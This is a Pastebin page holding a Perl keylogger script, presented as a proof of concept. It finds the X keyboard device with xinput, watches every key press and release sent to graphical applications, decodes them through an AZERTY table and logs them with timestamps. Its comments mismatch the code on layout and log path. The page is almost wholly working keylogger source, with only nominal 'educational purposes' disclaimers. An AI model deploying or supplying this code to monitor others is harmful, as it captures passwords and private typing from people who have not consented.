Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- # keylog2 - a rootless keylogger that only requires an X server and the xinput
- # command (provided by xorg-x11-apps on Fedora). You'll also need to install
- # the Perl module IO::Pty::Easy.
- #
- # Unlike my first keylogger proof-of-concept, this one doesn't require root
- # privileges because it just uses the X Window System. Therefore it only
- # catches key inputs made to graphical programs on the same X server that the
- # keylogger runs on.
- #
- # How it works: running `xinput list` lists all your X input devices. There's
- # a keyboard device named "AT (something)", mine is "AT Translated Set 2
- # keyboard". Get the ID from the line that says this and then run
- # `xinput test <id>` and it will start dumping keystroke information as the
- # user types keys into ANY graphical app.
- #
- # I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
- # so no guarantees it will work for everybody. This is just another proof of
- # concept anyway, and shouldn't be used for malicious purposes.
- #
- # Under the default configuration, the log file is written to /tmp/.keylog
- # and only logs key release events, except for modifier keys (Shift, Ctrl,
- # Alt, and Super (Windows key)) where it will also log the Key Down event
- # (so Alt-Tabbing makes more sense in the log, for example). You can
- # optionally configure it to log EVERY key down event if you'd like, though.
- #
- # Again, this is just a proof of concept and should be used for educational
- # purposes only, and not for anything malicious.
- #
- # --Kirsle
- # http://sh.kirsle.net/
- use strict;
- use warnings;
- use IO::Pty::Easy;
- use IO::Handle;
- ##########################
- # Configuration #
- ##########################
- my $conf = {
- # Log files to write keys to
- logfile => 'klog_'.time().'.txt',
- # By default only key-releases are logged. Log key-presses too?
- log_keydown => 0,
- };
- ##########################
- # End Configuration #
- ##########################
- # X11 display.
- $ENV{DISPLAY} ||= ":0.0";
- # Make sure we have xinput.
- if (system("which xinput > /dev/null") != 0) {
- print "You require the `xinput` command for this keylogger to work.\n";
- exit(1);
- }
- # Get the input list.
- my @inputs = `xinput list`;
- # Find the AT keyboard.
- my $id;
- foreach my $line (@inputs) {
- $line =~ s/^[\s\t]+//g;
- $line =~ s/[\s\t]+$//g;
- $line =~ s/[\x0D\x0A]+//g;
- next unless length $line;
- if ($line =~ /keyboard/i && $line =~ /. AT/) {
- ($id) = ($line =~ /id=(\d+)/)[0];
- }
- }
- if (!defined $id) {
- print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
- exit(1);
- }
- print "Keyboard ID: $id\n";
- # Track state of modifier keys.
- our %mod = (
- 'shift' => 0,
- 'ctrl' => 0,
- 'alt' => 0,
- 'super' => 0,
- );
- # Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
- my $tty = IO::Pty::Easy->new();
- print "Watching `xinput test $id`\n";
- $tty->spawn("xinput test $id");
- while ($tty->is_active) {
- my $data = $tty->read();
- my @lines = split(/\n/, $data);
- foreach my $line (@lines) {
- # Key event?
- chomp $line;
- if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
- event($1, $2);
- }
- }
- }
- # Handle key events
- sub event {
- my ($event,$sym) = @_;
- # Only AZERTY keyboards supported.
- my $key = kbd_azerty($event,$sym);
- print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
- # Log it?
- if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
- ($key =~ /^\{(Shift|Ctrl|Alt|Altgr|Super)\}$/)) {
- my @time = localtime(time());
- my $ts = join(" ",
- join("-",
- sprintf("%4d", $time[5] + 1900),
- sprintf("%2d", $time[4] + 1),
- sprintf("%2d", $time[3]),
- ),
- join(":",
- sprintf("%2d", $time[2]),
- sprintf("%2d", $time[1]),
- sprintf("%2d", $time[0]),
- ),
- );
- open (my $log, ">>", $conf->{logfile});
- print $log "[$ts] "
- . ($event eq "release" ? "<R>" : "<P>")
- . " "
- . ($key eq " " ? "{space}" : $key)
- . "\n";
- close ($log);
- }
- }
- # AZERTY keysym finder
- sub kbd_azerty {
- my ($event,$sym) = @_;
- # Modifier keys.
- my %modkeys = (
- 50 => 'shift', # L Shift
- 62 => 'shift', # R Shift
- 37 => 'ctrl', # L Ctrl
- 105 => 'ctrl', # R Ctrl
- 64 => 'alt', # L Alt
- 108 => 'altgr', # R Alt
- 133 => 'super', # L Super
- );
- if (exists $modkeys{$sym}) {
- my $name = $modkeys{$sym};
- $mod{$name} = $event eq "press" ? 1 : 0;
- return "{\u$name}";
- }
- # Qwerty keys.
- my %keys = (
- # azerty row
- 24 => [ 'a', 'A', 'æ', 'Æ' ], # normal, shift, alt, shift+alt key
- 25 => [ 'z', 'Z', 'â', 'Â' ],
- 26 => [ 'e', 'E', '€', '¢' ],
- 27 => [ 'r', 'R', 'ê', 'Ê' ],
- 28 => [ 't', 'T', 'þ', 'Þ' ],
- 29 => [ 'y', 'Y', 'ÿ', 'Ÿ' ],
- 30 => [ 'u', 'U', 'û', 'Û' ],
- 31 => [ 'i', 'I', 'î', 'Î' ],
- 32 => [ 'o', 'O', 'œ', 'Œ' ],
- 33 => [ 'p', 'P', 'ô', 'Ô' ],
- 34 => [ "(d) ^", "(d) ¨", "(d) ~", "(d) °" ],
- 35 => [ '$', '£', 'ø', 'Ø' ],
- #51 => [ "\\", '|', '?', '?' ],
- # qsdf row
- 38 => [ 'q', 'Q', 'ä', 'Ä' ],
- 39 => [ 's', 'S', 'ß', '„' ],
- 40 => [ 'd', 'D', 'ë', 'Ë' ],
- 41 => [ 'f', 'F', '‘', '‚' ],
- 42 => [ 'g', 'G', '’', '¥' ],
- 43 => [ 'h', 'H', 'ð', 'Ð' ],
- 44 => [ 'j', 'J', 'ü', 'Ü' ],
- 45 => [ 'k', 'K', 'ï', 'Ï' ],
- 46 => [ 'l', 'L', 'ŀ', 'Ŀ' ],
- 47 => [ 'm', 'M', 'ö', 'Ö' ],
- 48 => [ 'ù', '%', "(d) ´", "Ù" ],
- 51 => [ '*', 'µ', '(d) `', '(d) ¯' ],
- 36 => "{Return}",
- # wxcv row
- 52 => [ 'w', 'W', '«', '“' ],
- 53 => [ 'x', 'X', '»', '”' ],
- 54 => [ 'c', 'C', '©', '®' ],
- 55 => [ 'v', 'V', ' ', '←' ],
- 56 => [ 'b', 'B', '↓', '↑' ],
- 57 => [ 'n', 'N', '¬', '→' ],
- 58 => [ ',', '?', '¿', '…' ],
- 59 => [ ';', '.', '×', '⋅' ],
- 60 => [ ':', '/', '÷', '∕' ],
- 61 => [ '!', '§', '¡', '−' ],
- # number row
- 49 => [ '²', '³', '¹', '(d) ¸' ],
- 10 => [ '&', '1', '(d) ˇ', '(d) ˛' ],
- 11 => [ 'é', '2', '~', 'É' ],
- 12 => [ '"', '3', '#', '(d) ˘' ],
- 13 => [ "'", '4', '{', '—' ],
- 14 => [ '(', '5', '[', '–' ],
- 15 => [ '-', '6', '|', '‑' ],
- 16 => [ 'è', '7', '`', 'È' ],
- 17 => [ '_', '8', '\\', '™' ],
- 18 => [ 'ç', '9', '^', 'Ç' ],
- 19 => [ 'à', '0', '@', 'À' ],
- 20 => [ ')', '°', ']', '≠' ],
- 21 => [ '=', '+', '}', '±' ],
- # space bar
- 65 => ' ',
- # number pad
- 90 => '{Num-0}',
- 87 => '{Num-1}',
- 88 => '{Num-2}',
- 89 => '{Num-3}',
- 83 => '{Num-4}',
- 84 => '{Num-5}',
- 85 => '{Num-6}',
- 79 => '{Num-7}',
- 80 => '{Num-8}',
- 81 => '{Num-9}',
- 106 => '{Num-/}',
- 63 => '{Num-*}',
- 82 => '{Num--}',
- 86 => '{Num-+}',
- 91 => '{Num-.}',
- # F keys
- 67 => '{F1}',
- 68 => '{F2}',
- 69 => '{F3}',
- 70 => '{F4}',
- 71 => '{F5}',
- 72 => '{F6}',
- 73 => '{F7}',
- 74 => '{F8}',
- 75 => '{F9}',
- 76 => '{F10}',
- 95 => '{F11}',
- 96 => '{F12}',
- # Misc
- 9 => '{Esc}',
- 22 => '{Backspace}',
- 77 => '{Num Lock}',
- 107 => '{Print Scr}',
- 118 => '{Insert}',
- 119 => '{Delete}',
- 110 => '{Home}',
- 112 => '{Pg Up}',
- 117 => '{Pg Dn}',
- 115 => '{End}',
- 111 => '{Up}',
- 116 => '{Down}',
- 113 => '{Left}',
- 114 => '{Right}',
- 135 => '{Menu}',
- 23 => '{Tab}',
- 66 => '{Caps Lock}',
- );
- if (exists $keys{$sym}) {
- if (ref($keys{$sym})) {
- print "(shift key: $mod{shift})\n";
- print "(alt key: $mod{alt})\n";
- if ($mod{shift} && !$mod{altgr}) {
- return $keys{$sym}->[1];
- }
- elsif ($mod{altgr} && !$mod{shift}) {
- return $keys{$sym}->[2];
- }
- elsif ($mod{altgr} && $mod{shift}) {
- return $keys{$sym}->[3];
- }
- else {
- return $keys{$sym}->[0];
- }
- }
- return $keys{$sym};
- }
- else {
- return "{Unknown: $sym}";
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement